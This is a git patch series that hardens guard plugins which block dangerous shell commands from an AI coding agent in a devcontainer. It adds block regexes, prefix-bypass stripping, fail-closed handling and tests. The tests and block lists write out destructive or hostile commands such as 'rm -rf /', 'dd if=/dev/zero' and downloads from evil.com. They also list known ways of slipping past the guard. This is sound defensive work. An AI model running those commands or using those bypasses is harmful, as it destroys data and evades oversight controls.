From 9ec137700dacf5319f41178324f87dab91c990c4 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Sat, 28 Feb 2026 22:04:44 +0000 Subject: [PATCH 1/3] Fix critical security findings from codebase review MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Remove env var injection in agent redirect log path (S2-01) - Protected files guards fail closed on unexpected errors (S2-04) - Harden dangerous command regexes: prefix stripping, symbolic chmod, setuid, docker system/volume, git filter-branch, plus-refspec (S2-03) - Unify write-target patterns across guards (5 → 18 patterns) (C1-02) - Fix greedy alternation in redirect regex (>>|> order) (Q3-01) - Block bare git stash in read-only mode (Q3-04) - Narrow configApply allowed destinations to /usr/local/share (S2-09) - Add pytest to CI pipeline (Q3-08) - Add 36 new test cases covering all fixes (241 → 277 tests) --- .devcontainer/CHANGELOG.md | 14 ++ .../scripts/guard-readonly-bash.py | 4 +- .../scripts/redirect-builtin-agents.py | 3 +- .../scripts/block-dangerous.py | 67 ++++++++- .../scripts/guard-protected-bash.py | 24 +++- .../scripts/guard-protected.py | 4 +- .../scripts/guard-workspace-scope.py | 99 ++++++++----- .github/workflows/ci.yml | 14 +- setup.js | 2 +- tests/plugins/test_block_dangerous.py | 90 ++++++++++++ tests/plugins/test_guard_protected.py | 44 ++++++ tests/plugins/test_guard_protected_bash.py | 130 ++++++++++++++++-- tests/plugins/test_guard_readonly_bash.py | 7 + 13 files changed, 441 insertions(+), 61 deletions(-) diff --git a/.devcontainer/CHANGELOG.md b/.devcontainer/CHANGELOG.md index e7669ee..67f43c4 100644 --- a/.devcontainer/CHANGELOG.md +++ b/.devcontainer/CHANGELOG.md @@ -2,6 +2,10 @@ ## [Unreleased] +### Security +- Removed environment variable injection vector in agent redirect log path (S2-01) +- Narrowed config deployment allowed destinations from `/usr/local` to `/usr/local/share` (S2-09) + ### Added #### Testing @@ -13,6 +17,7 @@ - `guard-readonly-bash.py` (63 tests) — general-readonly and git-readonly modes, bypass prevention - `redirect-builtin-agents.py` (13 tests) — redirect mapping, passthrough, output structure - Added `test:plugins` and `test:all` npm scripts for running plugin tests +- Python plugin tests (`pytest`) added to CI pipeline (Q3-08) ### Fixed @@ -21,6 +26,12 @@ - **Block `--force-with-lease`** — was slipping through regex; all force push variants now blocked uniformly - **Block remote branch deletion** — `git push origin --delete` and colon-refspec deletion (`git push origin :branch`) now blocked; deleting remote branches closes associated PRs - **Fixed README** — error handling was documented as "fails open" but code actually fails closed; corrected to match behavior +- Dangerous command blocker handles prefix bypasses (`\rm`, `command rm`, `env rm`) and symbolic chmod (S2-03) +- Fixed greedy alternation in write-target regex — `>>` now matched before `>` (Q3-01) +- Bare `git stash` (equivalent to push) now blocked in read-only mode (Q3-04) + +#### Protected Files Guard +- Protected files guard now fails closed on unexpected errors instead of failing open (S2-04) #### Documentation - **DevContainer CLI guide** — dedicated Getting Started page for terminal-only workflows without VS Code @@ -34,6 +45,9 @@ ### Changed +#### Guards +- Unified write-target extraction patterns across guards — protected-files bash guard expanded from 5 to 18 patterns (C1-02) + #### Performance - Commented out Rust toolchain feature — saves ~1.23 GB image size; uncomment in `devcontainer.json` if needed - Commented out ccms feature pending replacement tool (requires Rust) diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py index d176c21..60aa869 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/guard-readonly-bash.py @@ -550,7 +550,9 @@ def check_git_readonly(command: str) -> str | None: elif sub == "stash": # Only allow "stash list" and "stash show" - if len(words) > 2 and words[2] not in ("list", "show"): + if len(words) <= 2: + return "Blocked: bare 'git stash' (equivalent to push) is not allowed in read-only mode" + if words[2] not in ("list", "show"): return f"Blocked: 'git stash {words[2]}' is not allowed in read-only mode" else: diff --git a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py index 170aa9f..7927606 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/agent-system/scripts/redirect-builtin-agents.py @@ -18,7 +18,6 @@ """ import json -import os import sys from datetime import datetime, timezone @@ -39,7 +38,7 @@ # Handles cases where the model uses the short name directly UNQUALIFIED_MAP = {v: f"{PLUGIN_PREFIX}:{v}" for v in REDIRECT_MAP.values()} -LOG_FILE = os.environ.get("AGENT_REDIRECT_LOG", "/tmp/agent-redirect.log") +LOG_FILE = "/tmp/agent-redirect.log" def log(message: str) -> None: diff --git a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py b/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py index 5f45e46..6fdb671 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/dangerous-command-blocker/scripts/block-dangerous.py @@ -110,18 +110,71 @@ "Blocked: push with colon-refspec deletes remote branches and closes " "associated pull requests. Do not use as a workaround for force push blocks.", ), + # Symbolic chmod equivalents of 777 + ( + r"\bchmod\s+a=rwx\b", + "Blocked: chmod a=rwx is equivalent to 777 — security vulnerability", + ), + ( + r"\bchmod\s+0777\b", + "Blocked: chmod 0777 creates security vulnerability", + ), + # SetUID/SetGID bits + ( + r"\bchmod\s+u\+s\b", + "Blocked: chmod u+s sets SetUID bit — privilege escalation risk", + ), + ( + r"\bchmod\s+g\+s\b", + "Blocked: chmod g+s sets SetGID bit — privilege escalation risk", + ), + # Destructive Docker operations (additional) + ( + r"\bdocker\s+system\s+prune\b", + "Blocked: docker system prune removes all unused data", + ), + ( + r"\bdocker\s+volume\s+rm\b", + "Blocked: docker volume rm destroys persistent data", + ), + # Git history rewriting + ( + r"\bgit\s+filter-branch\b", + "Blocked: git filter-branch rewrites repository history", + ), + # Plus-refspec force push (git push origin +main) + ( + r"\bgit\s+push\s+\S+\s+\+\S", + "Blocked: plus-refspec push (+ref) is a force push that destroys history", + ), + # Force push variant: --force-if-includes + (r"\bgit\s+push\s+.*--force-if-includes\b", FORCE_PUSH_SUGGESTION), ] -def check_command(command: str) -> tuple[bool, str]: - """Check if command matches any dangerous pattern. +def strip_command_prefixes(command: str) -> str: + """Strip common command prefixes that bypass word-boundary matching. - Returns: - (is_dangerous, message) + Handles: backslash prefix (\\rm), command prefix, env prefix. """ - for pattern, message in DANGEROUS_PATTERNS: - if re.search(pattern, command, re.IGNORECASE): - return True, message + stripped = command + # Strip leading backslash from commands (e.g. \rm -> rm) + stripped = re.sub(r"(?:^|(?<=\s))\\(?=\w)", "", stripped) + # Strip 'command' prefix (e.g. 'command rm' -> 'rm') + stripped = re.sub(r"\bcommand\s+", "", stripped) + # Strip 'env' prefix with optional VAR=val args (e.g. 'env VAR=x rm' -> 'rm') + stripped = re.sub(r"\benv\s+(?:\w+=\S+\s+)*", "", stripped) + return stripped + + +def check_command(command: str) -> tuple[bool, str]: + """Check if command matches any dangerous pattern.""" + stripped = strip_command_prefixes(command) + # Check both original and stripped versions + for cmd in (command, stripped): + for pattern, message in DANGEROUS_PATTERNS: + if re.search(pattern, cmd, re.IGNORECASE): + return True, message return False, "" diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py index 0c74255..dddda47 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected-bash.py @@ -57,8 +57,8 @@ # Patterns that indicate a bash command is writing to a file # Each captures the target file path for checking against PROTECTED_PATTERNS WRITE_PATTERNS = [ - # Redirect: > file, >> file - r"(?:>|>>)\s*([^\s;&|]+)", + # Redirect: >> file, > file (>> before > to avoid greedy match) + r"(?:>>|>)\s*([^\s;&|]+)", # tee: tee file, tee -a file r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # cp/mv: cp src dest, mv src dest @@ -67,6 +67,22 @@ r'\bsed\s+-i[^\s]*\s+(?:\'[^\']*\'\s+|"[^"]*"\s+|[^\s]+\s+)*([^\s;&|]+)', # cat > file (heredoc style) r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", + # --- Extended patterns (unified with guard-workspace-scope.py) --- + r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file + r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir + r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path + r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest + r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest + r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest + r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path + r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path + r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path + r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path + r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path + r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir + r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir + r"\b(?:gcc|g\+\+|cc|c\+\+|clang)\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # gcc -o out + r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath ] @@ -113,9 +129,9 @@ def main(): # Fail closed: can't parse means can't verify safety sys.exit(2) except Exception as e: - # Log error but don't block on hook failure + # Fail closed: unexpected errors should block, not allow print(f"Hook error: {e}", file=sys.stderr) - sys.exit(0) + sys.exit(2) if __name__ == "__main__": diff --git a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py index 6fb2ef3..b8d5eca 100644 --- a/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/protected-files-guard/scripts/guard-protected.py @@ -100,9 +100,9 @@ def main(): # Fail closed: can't parse means can't verify safety sys.exit(2) except Exception as e: - # Log error but don't block on hook failure + # Fail closed: unexpected errors should block, not allow print(f"Hook error: {e}", file=sys.stderr) - sys.exit(0) + sys.exit(2) if __name__ == "__main__": diff --git a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py index 9e30ec1..8aae4a9 100755 --- a/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py +++ b/.devcontainer/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py @@ -30,8 +30,8 @@ # Paths always allowed regardless of working directory _home = os.environ.get("HOME", "/home/vscode") ALLOWED_PREFIXES = [ - f"{_home}/.claude/", # Claude config, plans, rules - "/tmp/", # System scratch + f"{_home}/.claude/", # Claude config, plans, rules + "/tmp/", # System scratch ] WRITE_TOOLS = {"Write", "Edit", "NotebookEdit"} @@ -54,27 +54,27 @@ # --------------------------------------------------------------------------- WRITE_PATTERNS = [ # --- Ported from guard-protected-bash.py --- - r"(?:>|>>)\s*([^\s;&|]+)", # > file, >> file - r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # tee file - r"\b(?:cp|mv)\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # cp/mv src dest + r"(?:>>|>)\s*([^\s;&|]+)", # >> file, > file + r"\btee\s+(?:-a\s+)?([^\s;&|]+)", # tee file + r"\b(?:cp|mv)\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # cp/mv src dest r'\bsed\s+-i[^\s]*\s+(?:\'[^\']*\'\s+|"[^"]*"\s+|[^\s]+\s+)*([^\s;&|]+)', # sed -i - r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", # cat > file + r"\bcat\s+(?:<<[^\s]*\s+)?>\s*([^\s;&|]+)", # cat > file # --- New patterns --- - r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file - r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir - r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path - r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest - r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest - r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest - r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path - r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path - r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path - r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path - r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path - r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir - r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir + r"\btouch\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # touch file + r"\bmkdir\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # mkdir [-p] dir + r"\brm\s+(?:-[^\s]+\s+)*([^\s;&|]+)", # rm [-rf] path + r"\bln\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # ln [-s] src dest + r"\binstall\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # install src dest + r"\brsync\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # rsync src dest + r"\bchmod\s+(?:-[^\s]+\s+)*[^\s]+\s+([^\s;&|]+)", # chmod mode path + r"\bchown\s+(?:-[^\s]+\s+)*[^\s:]+(?::[^\s]+)?\s+([^\s;&|]+)", # chown owner[:group] path + r"\bdd\b[^;|&]*\bof=([^\s;&|]+)", # dd of=path + r"\bwget\s+(?:-[^\s]+\s+)*-O\s+([^\s;&|]+)", # wget -O path + r"\bcurl\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # curl -o path + r"\btar\s+(?:-[^\s]+\s+)*-C\s+([^\s;&|]+)", # tar -C dir + r"\bunzip\s+(?:-[^\s]+\s+)*-d\s+([^\s;&|]+)", # unzip -d dir r"\b(?:gcc|g\+\+|cc|c\+\+|clang)\s+(?:-[^\s]+\s+)*-o\s+([^\s;&|]+)", # gcc -o out - r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath + r"\bsqlite3\s+([^\s;&|]+)", # sqlite3 dbpath ] # --------------------------------------------------------------------------- @@ -86,15 +86,42 @@ # --------------------------------------------------------------------------- # System command exemption (Layer 1 only) # --------------------------------------------------------------------------- -SYSTEM_COMMANDS = frozenset({ - "git", "pip", "pip3", "npm", "npx", "yarn", "pnpm", - "apt-get", "apt", "cargo", "go", "docker", "make", "cmake", - "node", "python3", "python", "ruby", "gem", "bundle", -}) +SYSTEM_COMMANDS = frozenset( + { + "git", + "pip", + "pip3", + "npm", + "npx", + "yarn", + "pnpm", + "apt-get", + "apt", + "cargo", + "go", + "docker", + "make", + "cmake", + "node", + "python3", + "python", + "ruby", + "gem", + "bundle", + } +) SYSTEM_PATH_PREFIXES = ( - "/usr/", "/bin/", "/sbin/", "/lib/", "/opt/", - "/proc/", "/sys/", "/dev/", "/var/", "/etc/", + "/usr/", + "/bin/", + "/sbin/", + "/lib/", + "/opt/", + "/proc/", + "/sys/", + "/dev/", + "/var/", + "/etc/", ) @@ -102,10 +129,12 @@ # Core check functions # --------------------------------------------------------------------------- + def is_blacklisted(resolved_path: str) -> bool: """Check if resolved_path is under a permanently blocked directory.""" - return (resolved_path == "/workspaces/.devcontainer" - or resolved_path.startswith("/workspaces/.devcontainer/")) + return resolved_path == "/workspaces/.devcontainer" or resolved_path.startswith( + "/workspaces/.devcontainer/" + ) def is_in_scope(resolved_path: str, cwd: str) -> bool: @@ -135,6 +164,7 @@ def get_target_path(tool_name: str, tool_input: dict) -> str | None: # Bash enforcement # --------------------------------------------------------------------------- + def extract_write_targets(command: str) -> list[str]: """Extract file paths that the command writes to (Layer 1).""" targets = [] @@ -157,7 +187,11 @@ def extract_primary_command(command: str) -> str: while i < len(tokens): tok = tokens[i] # Skip inline variable assignments: VAR=value - if "=" in tok and not tok.startswith("-") and tok.split("=", 1)[0].isidentifier(): + if ( + "=" in tok + and not tok.startswith("-") + and tok.split("=", 1)[0].isidentifier() + ): i += 1 continue # Skip sudo and its flags @@ -243,7 +277,9 @@ def check_bash_scope(command: str, cwd: str) -> None: # Override: if ANY target is under /workspaces/ outside cwd → NOT exempt if skip_layer1: for _, resolved in resolved_targets: - if resolved.startswith("/workspaces/") and not is_in_scope(resolved, cwd): + if resolved.startswith("/workspaces/") and not is_in_scope( + resolved, cwd + ): skip_layer1 = False break @@ -273,6 +309,7 @@ def check_bash_scope(command: str, cwd: str) -> None: # Main # --------------------------------------------------------------------------- + def main(): try: input_data = json.load(sys.stdin) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f17a082..60d01a8 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -2,9 +2,9 @@ name: CI on: push: - branches: [main] + branches: [main, staging] pull_request: - branches: [main] + branches: [main, staging] jobs: test: @@ -24,3 +24,13 @@ jobs: with: node-version: 18 - run: npx @biomejs/biome check setup.js test.js + + test-plugins: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: actions/setup-python@v5 + with: + python-version: "3.x" + - run: pip install pytest + - run: pytest tests/ -v diff --git a/setup.js b/setup.js index 0812767..39be9a6 100755 --- a/setup.js +++ b/setup.js @@ -551,7 +551,7 @@ function configApply() { const allowedDestRoots = [ path.resolve(claudeConfigDir), homeDir, - "/usr/local", + "/usr/local/share", ]; const destDir = path.resolve(expandVars(entry.dest)); const destAllowed = allowedDestRoots.some( diff --git a/tests/plugins/test_block_dangerous.py b/tests/plugins/test_block_dangerous.py index b156415..9471b6f 100644 --- a/tests/plugins/test_block_dangerous.py +++ b/tests/plugins/test_block_dangerous.py @@ -271,3 +271,93 @@ def test_colon_refspec_blocked(self) -> None: "git push origin :feature-branch", substr="colon-refspec", ) + + +# --------------------------------------------------------------------------- +# 12. Command prefix bypass vectors +# --------------------------------------------------------------------------- + + +class TestCommandPrefixBypass: + """Prefixes like backslash, 'command', and 'env' should not bypass blocks.""" + + @pytest.mark.parametrize( + "cmd", + [ + "\\rm -rf /", + "command rm -rf /", + "env rm -rf /", + "env VAR=x rm -rf /", + ], + ids=[ + "backslash-prefix", + "command-prefix", + "env-prefix", + "env-with-variable", + ], + ) + def test_prefix_bypass_still_blocked(self, cmd: str) -> None: + assert_blocked(cmd, substr="rm") + + +# --------------------------------------------------------------------------- +# 13. Symbolic chmod and setuid/setgid patterns +# --------------------------------------------------------------------------- + + +class TestChmodExtended: + @pytest.mark.parametrize( + "cmd, substr", + [ + ("chmod a=rwx file", "chmod a=rwx"), + ("chmod 0777 file", "chmod 0777"), + ("chmod u+s /usr/bin/something", "SetUID"), + ("chmod g+s /usr/bin/something", "SetGID"), + ], + ids=[ + "symbolic-a-equals-rwx", + "octal-0777", + "setuid-bit", + "setgid-bit", + ], + ) + def test_chmod_variants_blocked(self, cmd: str, substr: str) -> None: + assert_blocked(cmd, substr=substr) + + +# --------------------------------------------------------------------------- +# 14. Docker system/volume destructive operations +# --------------------------------------------------------------------------- + + +class TestDockerExtended: + def test_docker_system_prune(self) -> None: + assert_blocked("docker system prune -af", substr="docker system prune") + + def test_docker_volume_rm(self) -> None: + assert_blocked("docker volume rm myvolume", substr="docker volume rm") + + +# --------------------------------------------------------------------------- +# 15. Git history rewriting and force push variants +# --------------------------------------------------------------------------- + + +class TestGitExtended: + def test_git_filter_branch(self) -> None: + assert_blocked( + "git filter-branch --tree-filter 'rm -f passwords.txt' HEAD", + substr="filter-branch", + ) + + def test_plus_refspec_push(self) -> None: + assert_blocked( + "git push origin +main", + substr="plus-refspec", + ) + + def test_force_if_includes(self) -> None: + assert_blocked( + "git push --force-if-includes origin main", + substr="force push", + ) diff --git a/tests/plugins/test_guard_protected.py b/tests/plugins/test_guard_protected.py index 379a2e8..cf6cfd3 100644 --- a/tests/plugins/test_guard_protected.py +++ b/tests/plugins/test_guard_protected.py @@ -4,6 +4,11 @@ and allows safe paths through. """ +import json +import subprocess +import sys +from pathlib import Path + import pytest from tests.conftest import guard_protected @@ -221,3 +226,42 @@ def test_windows_backslash_path(self) -> None: ) def test_case_insensitive_matching(self, path: str) -> None: assert_protected(path) + + +# --------------------------------------------------------------------------- +# Fail-closed behavior (exception → exit code 2) +# --------------------------------------------------------------------------- + + +class TestFailClosed: + """Verify that unexpected errors cause the guard to exit with code 2.""" + + def test_exception_causes_exit_code_2(self): + """Feed input that triggers an exception in the main logic. + + We send valid JSON but with tool_input set to a non-dict value, + which will cause an AttributeError when main() calls + tool_input.get("file_path", ""). + """ + script_path = ( + Path(__file__).resolve().parent.parent.parent + / ".devcontainer" + / "plugins" + / "devs-marketplace" + / "plugins" + / "protected-files-guard" + / "scripts" + / "guard-protected.py" + ) + # tool_input is a string instead of dict — causes AttributeError + payload = json.dumps({"tool_input": "not-a-dict"}) + result = subprocess.run( + [sys.executable, str(script_path)], + input=payload, + capture_output=True, + text=True, + ) + assert result.returncode == 2, ( + f"Expected exit code 2, got {result.returncode}. " + f"stderr: {result.stderr}" + ) diff --git a/tests/plugins/test_guard_protected_bash.py b/tests/plugins/test_guard_protected_bash.py index 37294ba..a7055da 100644 --- a/tests/plugins/test_guard_protected_bash.py +++ b/tests/plugins/test_guard_protected_bash.py @@ -4,15 +4,16 @@ commands) and check_path (protected pattern matching), plus integration of both. Known source bugs (documented, not worked around): - - BUG: append redirect (>>) is not correctly parsed. The regex ``(?:>|>>)`` - matches ``>`` first (greedy alternation), so ``echo x >> file.txt`` - captures ``>`` (the second character) as the "file path" instead of - ``file.txt``. See guard-protected-bash.py:61. - BUG: ``cat > file.txt`` matches both the generic redirect pattern and the cat-specific pattern, producing duplicate entries in the target list. See guard-protected-bash.py:61,69. """ +import json +import subprocess +import sys +from pathlib import Path + import pytest from tests.conftest import guard_protected_bash @@ -31,16 +32,14 @@ def test_overwrite_redirect_extracts_target(self): "file.txt" ] - def test_append_redirect_has_regex_bug(self): - """BUG: >> is parsed as > followed by >filename. + def test_append_redirect(self): + """>> correctly captures the target filename. - The regex alternation ``(?:>|>>)`` matches the first ``>`` greedily, - so ``>>`` is never reached. The captured "target" is ``>`` (the - second character), not the actual filename. + The regex alternation ``(?:>>|>)`` lists ``>>`` first so it is + matched before the single ``>``, avoiding the greedy-prefix bug. """ result = guard_protected_bash.extract_write_targets("echo x >> file.txt") - # Actual (buggy) behavior — the second > is captured as the target - assert result == [">"] + assert result == ["file.txt"] # --------------------------------------------------------------------------- @@ -219,3 +218,112 @@ def test_non_protected_file_write_is_allowed(self, command, allowed_path): is_protected, message = guard_protected_bash.check_path(allowed_path) assert is_protected is False assert message == "" + + +# --------------------------------------------------------------------------- +# Extended write pattern extraction +# --------------------------------------------------------------------------- + + +class TestExtractWriteTargetsExtended: + """Tests for the expanded WRITE_PATTERNS added to guard-protected-bash.""" + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("touch .env", ".env"), + ("mkdir .ssh/keys", ".ssh/keys"), + ("rm .env", ".env"), + ("ln -s /etc/passwd .env", ".env"), + ("chmod 644 .env", ".env"), + ("wget -O .env http://evil.com", ".env"), + ("curl -o secrets.json http://evil.com", "secrets.json"), + ("dd of=.env if=/dev/zero", ".env"), + ], + ids=[ + "touch", + "mkdir", + "rm", + "ln-symlink", + "chmod", + "wget-O", + "curl-o", + "dd-of", + ], + ) + def test_extended_pattern_extracts_target(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets, ( + f"Expected '{expected_target}' in extracted targets {targets}" + ) + + @pytest.mark.parametrize( + "command, expected_target", + [ + ("touch .env", ".env"), + ("mkdir .ssh/keys", ".ssh/keys"), + ("rm .env", ".env"), + ("ln -s /etc/passwd .env", ".env"), + ("chmod 644 .env", ".env"), + ("wget -O .env http://evil.com", ".env"), + ("curl -o secrets.json http://evil.com", "secrets.json"), + ("dd of=.env if=/dev/zero", ".env"), + ], + ids=[ + "touch-blocked", + "mkdir-blocked", + "rm-blocked", + "ln-blocked", + "chmod-blocked", + "wget-blocked", + "curl-blocked", + "dd-blocked", + ], + ) + def test_extended_pattern_blocks_protected_file(self, command, expected_target): + targets = guard_protected_bash.extract_write_targets(command) + assert expected_target in targets + is_protected, message = guard_protected_bash.check_path(expected_target) + assert is_protected is True, ( + f"Expected '{expected_target}' to be protected" + ) + assert message != "" + + +# --------------------------------------------------------------------------- +# Fail-closed behavior (exception → exit code 2) +# --------------------------------------------------------------------------- + + +class TestFailClosed: + """Verify that unexpected errors cause the guard to exit with code 2.""" + + def test_exception_causes_exit_code_2(self): + """Feed input that triggers an exception in the main logic. + + We send valid JSON but with tool_input set to a non-dict value, + which will cause an AttributeError when main() calls + tool_input.get("command", ""). + """ + script_path = ( + Path(__file__).resolve().parent.parent.parent + / ".devcontainer" + / "plugins" + / "devs-marketplace" + / "plugins" + / "protected-files-guard" + / "scripts" + / "guard-protected-bash.py" + ) + # tool_input is a string instead of dict — causes AttributeError + payload = json.dumps({"tool_input": "not-a-dict"}) + result = subprocess.run( + [sys.executable, str(script_path)], + input=payload, + capture_output=True, + text=True, + ) + assert result.returncode == 2, ( + f"Expected exit code 2, got {result.returncode}. " + f"stderr: {result.stderr}" + ) diff --git a/tests/plugins/test_guard_readonly_bash.py b/tests/plugins/test_guard_readonly_bash.py index a63af3f..74e05ad 100644 --- a/tests/plugins/test_guard_readonly_bash.py +++ b/tests/plugins/test_guard_readonly_bash.py @@ -265,6 +265,11 @@ def test_stash_drop_blocked(self) -> None: cmd = "git stash drop" assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + def test_bare_stash_blocked(self) -> None: + """Bare 'git stash' (no subcommand) is equivalent to 'git stash push'.""" + cmd = "git stash" + assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) + def test_config_without_get_blocked(self) -> None: cmd = "git config user.name foo" assert_blocked(guard_readonly_bash.check_git_readonly(cmd), cmd) @@ -298,6 +303,7 @@ class TestGitReadonlyAllowed: "git config --get user.name", "git config --list", "git stash list", + "git stash show", "cat file | grep pattern", "git -C /path --no-pager log", "sed 's/a/b/' file", @@ -310,6 +316,7 @@ class TestGitReadonlyAllowed: "config-get", "config-list", "stash-list", + "stash-show", "cat-pipe-grep", "global-flags", "sed-without-i", From bcfbe06332f3ea72813efe3ce162ea29158606d1 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 02:58:19 +0000 Subject: [PATCH 2/3] Bump to v2.0.0 and run full test suite on prepublish MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Version 1.14.2 → 2.0.0 - prepublishOnly now runs npm run test:all (Node + Python tests) - Sync README version to match package.json --- README.md | 2 +- package.json | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index de1013c..fdb883f 100644 --- a/README.md +++ b/README.md @@ -176,7 +176,7 @@ npm publish ## Changelog -See [CHANGELOG.md](.devcontainer/CHANGELOG.md) for release history. Current version: **1.14.0** (2026-02-23). +See [CHANGELOG.md](.devcontainer/CHANGELOG.md) for release history. Current version: **2.0.0**. ## Further Reading diff --git a/package.json b/package.json index 6a78702..e6b4702 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "codeforge-dev", - "version": "1.14.2", + "version": "2.0.0", "description": "Complete development container that sets up Claude Code with modular devcontainer features, modern dev tools, and persistent configurations. Drop it into any project and get a production-ready AI development environment in minutes.", "main": "setup.js", "bin": { @@ -10,7 +10,7 @@ "test": "node test.js", "test:plugins": "pytest tests/ -v", "test:all": "npm test && pytest tests/ -v", - "prepublishOnly": "npm test", + "prepublishOnly": "npm run test:all", "docs:dev": "npm run dev --prefix docs", "docs:build": "npm run build --prefix docs", "docs:preview": "npm run preview --prefix docs" From 9c713b92dec5aa7b9ea575f2e07f5fc9bd50d0a7 Mon Sep 17 00:00:00 2001 From: AnExiledDev Date: Mon, 2 Mar 2026 03:04:47 +0000 Subject: [PATCH 3/3] Fix CI: use dynamic HOME in allowlist test The test hardcoded /home/vscode but CI runs as /home/runner. Use the module's _home variable to match the actual environment. --- tests/plugins/test_guard_workspace_scope.py | 4 ++-- 1 file 